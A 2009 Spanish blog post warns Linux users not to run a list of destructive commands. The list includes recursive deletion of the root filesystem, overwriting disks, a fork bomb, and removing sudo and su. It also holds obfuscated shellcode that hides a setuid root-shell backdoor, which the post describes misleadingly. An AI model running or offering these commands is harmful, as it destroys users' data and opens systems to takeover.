lunes, 14 de diciembre de 2009

Comandos letales para Linux

Los usuarios de Linux siempre presumen de lo potente que es el intérprete de comandos, que les permite controlar nuestro sistema a su antojo y con una potencia que es muy difícil de lograr con un entorno gráfico. Sin embargo,“la potencia sin control no sirve de nada e incluso puede causar estragos".

A diferencia de otros sistemas operativos, en las distribuciones Linux hay comandos o combinaciones de comandos que pueden acabar con todo aquello en lo que habíamos trabajado en nuestro sistema.

Es precisamente lo que nos recuerdan desde Linux * Screw, donde avisan que jamás se deben ejecutar estos comandos en una consola. ¡¡Quedan advertidos!!

1. Cualquiera de estos comandos borrará todo lo que tengáis en tu directorio personal, en la raíz o en el disco:

sudo rm -rf /
rm -rf .*
dd if=/dev/zero of=/dev/sda
mkfs.ext3 /dev/hda
loquesea > /dev/hda
cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
find -type f -mtime +30 -exec mv {} /dev/null \;
mv ~ /dev/null
mv / /dev/null

2. Con estos comandos conseguirás un kernel panic o dejar tu sistema tonto:

dd if=/dev/random of=/dev/port
:(){:|:&};:
A esto último se le conoce como fork bomb

3. Comando que hace lo mismo que “rm -rf /”, pero a la inversa:

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

4. Con este ya no podrás ejecutar comandos con privilegios de superusuario:

rm -f /usr/bin/sudo;rm -f /bin/su

No hay comentarios: